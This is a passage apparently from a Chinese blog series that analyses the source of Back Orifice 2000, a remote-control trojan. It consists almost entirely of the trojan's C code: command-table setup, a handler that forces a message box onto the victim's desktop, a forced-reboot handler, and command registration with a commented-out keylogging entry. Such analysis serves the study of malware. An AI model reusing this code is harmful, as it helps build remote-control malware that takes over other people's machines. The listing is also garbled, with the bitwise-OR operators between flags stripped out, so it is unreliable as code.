|
BO2k源码分析(二)----命令循环机制(6) if(command_handler_table==NULL) return -1; command_description_table=(BO_CMD_DESC *) malloc(sizeof(BO_CMD_DESC)*MAX_BO_COMMANDS); if(command_description_table==NULL) return -1; for(i=0;i<MAX_BO_COMMANDS;i++) command_handler_table[i]=NULL; g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL); if(g_hDispatchMutex==NULL) return -1; return 0; } // static DWORD WINAPI MBThread(LPVOID parm) { char *svText = (char *) parm; char *svMsg,*svTitle; svMsg=svText; svTitle=svText+lstrlen(svMsg)+1; MessageBox(GetDesktopWindow(),svMsg,svTitle,MB_OK MB_SETFOREGROUND MB_SYSTEMMODAL); free(parm); return 0; } int CmdProc_SysMessageBox(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3) { char *ptr; int msglen; DWORD tid; msglen=lstrlen(svArg3)+lstrlen(svArg2)+2; ptr=(char *) malloc(msglen); lstrcpy(ptr,svArg3); lstrcpy(ptr+lstrlen(svArg3)+1,svArg2); CreateThread(NULL,0,MBThread,ptr,0,&tid); return 0; } int CmdProc_SysReboot(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3) { BOOL bRet; bRet=ExitWindowsEx(EWX_FORCE EWX_REBOOT, 0); return 0; } void RegisterNativeCommands() { //RegisterNativeCommand(BO_SYSREBOOT,CmdProc_SysReboot); //RegisterNativeCommand(BO_SYSLOGKEYS,CmdProc_SysLogKeys); INT command = 0; command_handler_table[command]=CmdProc_SysReboot; command_description_table[command].svCommName=""; command_description_table[command].svFolderName=""; command_description_table[command].svArgDesc1=""; command_description_table[command].svArgDesc2="";
|